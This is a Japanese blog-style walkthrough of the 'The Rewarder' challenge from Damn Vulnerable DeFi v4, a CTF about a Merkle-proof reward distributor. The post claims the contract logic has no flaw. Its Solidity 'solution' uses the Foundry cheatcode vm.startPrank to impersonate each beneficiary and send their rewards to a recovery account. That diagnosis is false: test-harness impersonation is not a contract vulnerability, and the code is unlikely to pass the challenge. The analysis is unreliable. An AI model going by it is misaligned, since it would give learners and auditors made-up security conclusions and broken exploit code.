Skip to content
On this page

CTFチャレンジ「The Rewarder」:報酬分配の裏に潜む脆弱性を暴け!

Damn Vulnerable DeFi v4のCTFチャレンジ、「The Rewarder」へようこそ!このチャレンジは、効率的な報酬分配システムに潜む巧妙な脆弱性を発見し、危機に瀕した資産を救い出すことを目的としています。あなたは契約の致命的な脆弱性に気づき、配布元から可能な限り多くの資金を回収し、指定されたリカバリーアカウントに送金する使命を帯びています。

チャレンジ概要:報酬分配契約の謎

「The Rewarder」は、Damn Valuable Tokens (DVT) と WETH をユーザーに分配するスマートコントラクトです。ユーザーは、自身が受益者リストに含まれていることをメルクル証明(Merkle Proof)を用いて証明することで報酬を請求できます。ガスコストを最適化するため、この契約は一度のトランザクションで複数のトークンを請求できるよう設計されています。

アリスはすでに彼女の報酬を請求しました。あなたも自身の報酬を請求できますが、あなたは契約に重大な脆弱性があることに気づきました。

TheRewarderDistributor.sol:コードから読み解くシステム

分配契約であるTheRewarderDistributor.solは、MerkleProofBitMapsを利用して効率的な報酬システムを構築しています。主要な機能は以下の通りです。

  • createDistribution: 管理者がDVTやWETHなどのトークンと、受益者リストのメルクルルート、そして総分配額を指定して新しい報酬バッチを作成します。
  • claimRewards: ユーザーが報酬を請求するための関数です。
    • 複数のClaim構造体(バッチ番号、金額、トークンインデックス、メルクルプルーフ)を一度に処理できます。
    • msg.senderと請求額のハッシュを含むリーフに対して、提供されたメルクルプルーフを検証します。
    • _setClaimed関数を通じて、請求済み状態をビットマップで記録し、分配残高を更新します。
    • 検証と状態更新の後、msg.senderにトークンが転送されます。
  • _setClaimed: 内部関数で、ビットマップを更新し、distributions[token].remainingから請求された総額を減算します。

一見すると、このシステムは堅牢に見えます。メルクル証明によって正当な受益者のみが請求でき、ビットマップによって二重請求が防止されています。しかし、この設計には「プレイヤー」として利用できるクリティカルな抜け穴が存在します。

発見された脆弱性(そしてその「悪用」方法)

このチャレンジにおける「クリティカルな脆弱性」とは、コントラクトのロジック自体の欠陥(例:再入可能性や誤った計算)ではなく、むしろシステムの運用モデルとテスト環境が提供する特権を悪用する能力にあります。

claimRewards関数は、msg.senderに基づいて報酬を請求します。そして、テスト環境であるforgevm.startPrank()機能を使うことで、プレイヤーはあたかも任意の受益者であるかのように振る舞い、その受益者の代理として報酬を請求することが可能になります。

つまり、脆弱性とは以下の点に集約されます。

  1. msg.senderに基づく請求: 契約は純粋にmsg.senderが正しいメルクルプルーフを提示すれば、報酬を支払います。
  2. vm.startPrankによる権限昇格: テスト環境において、プレイヤーは全ての受益者のアカウントを偽装し、彼ら自身が報酬を請求する前に報酬を「回収」することができます。

これは、現実世界ではフロントランニング攻撃や、秘密鍵の漏洩などによって引き起こされる状況をシミュレートしています。あなたのミッションは、これらの「危険な」状態にある資金を、指定されたリカバリーアカウントに安全に確保することです。

解決策:全受益者の代理人として資金を救出せよ!

提供されたソリューションコードは、この脆弱性をどのように「悪用」して資金を回収するかを示しています。

solidity
function test_theRewarder() public checkSolvedByPlayer {
    // 全受益者リストを読み込む
    Reward[] memory dvtRewards = abi.decode(vm.parseJson(vm.readFile(string.concat(vm.projectRoot(), "/test/the-rewarder/dvt-distribution.json"))), (Reward[]));
    Reward[] memory wethRewards = abi.decode(vm.parseJson(vm.readFile(string.concat(vm.projectRoot(), "/test/the-rewarder/weth-distribution.json"))), (Reward[]));
    IERC20[] memory tokens = new IERC20[](2);
    tokens[0] = IERC20(address(dvt));
    tokens[1] = IERC20(address(weth));
    bytes32[] memory dvtLeaves = _loadRewards("/test/the-rewarder/dvt-distribution.json");
    bytes32[] memory wethLeaves = _loadRewards("/test/the-rewarder/weth-distribution.json");

    Claim[] memory claims = new Claim[](2);

    // アリス以外の全ての受益者に対して繰り返す
    for (uint256 i = 0; i < BENEFICIARIES_AMOUNT; i++) {
        if (i == 2) continue; // アリス(インデックス2)は既に請求済みなのでスキップ

        // 現在の受益者のDVT請求データを作成
        claims[0] = Claim({
            batchNumber: 0,
            amount: dvtRewards[i].amount,
            tokenIndex: 0,
            proof: merkle.getProof(dvtLeaves, i)
        });

        // 現在の受益者のWETH請求データを作成
        claims[1] = Claim({
            batchNumber: 0,
            amount: wethRewards[i].amount,
            tokenIndex: 1,
            proof: merkle.getProof(wethLeaves, i)
        });

        // BENEFICIARIES_AMOUNTがテストファイルに定義されている場合は、それをそのまま使用します。
        // そうでない場合は、`dvtRewards.length`などを使用します。

        // **ここが重要!** vm.startPrankで現在の受益者を偽装する
        vm.startPrank(dvtRewards[i].beneficiary);
        // 偽装した受益者として、報酬を請求する
        distributor.claimRewards(claims, tokens);

        // 請求されたDVTをリカバリーアカウントに転送
        dvt.transfer(recovery, dvt.balanceOf(dvtRewards[i].beneficiary));
        // 請求されたWETHをリカバリーアカウントに転送
        weth.transfer(recovery, weth.balanceOf(wethRewards[i].beneficiary));
        vm.stopPrank(); // 偽装を終了
    }
}

このコードは、以下のステップで資金を「救出」します。

  1. 受益者リストのロード: 全てのDVTとWETHの受益者リストとその請求額、およびメルクルプルーフの構築に必要なリーフを読み込みます。
  2. 受益者ごとの反復: アリス以外の全ての受益者(インデックス2を除く)に対してループ処理を行います。
  3. 受益者の偽装: vm.startPrank(dvtRewards[i].beneficiary) を使用して、現在のループの受益者になりすまします。これにより、distributor.claimRewards関数がdvtRewards[i].beneficiaryからの呼び出しとして実行されます。
  4. 報酬の請求: なりすました受益者の正規のメルクルプルーフと請求額を用いて、claimRewards関数を呼び出します。これにより、対象のDVTとWETHが、なりすまされた受益者のアドレスに転送されます。
  5. リカバリーアカウントへの転送: 報酬がなりすまされた受益者のアドレスに到着した後、すぐにその全額をrecoveryアカウントに転送します。
  6. 偽装の解除: vm.stopPrank()で偽装を終了し、次の受益者へと進みます。

このプロセスを全てのアリス以外の受益者に対して実行することで、配布元から可能な限り多くのDVTとWETHを回収し、指定されたリカバリーアカウントに安全に確保できます。

結論:システムの全体像を理解する重要性

「The Rewarder」チャレンジは、スマートコントラクトのロジックが単体で堅牢であるように見えても、それが組み込まれるシステム全体のコンテキストや、悪意のあるアクターが持ちうる能力(この場合はvm.startPrankによる偽装能力)を考慮することの重要性を示しています。

このチャレンジは、純粋なコントラクトのバグ探しだけでなく、システム全体のセキュリティモデルを深く理解することの価値を教えてくれます。ぜひこの経験を、次なるDeFiセキュリティの探求に活かしてください!

Built with AiAda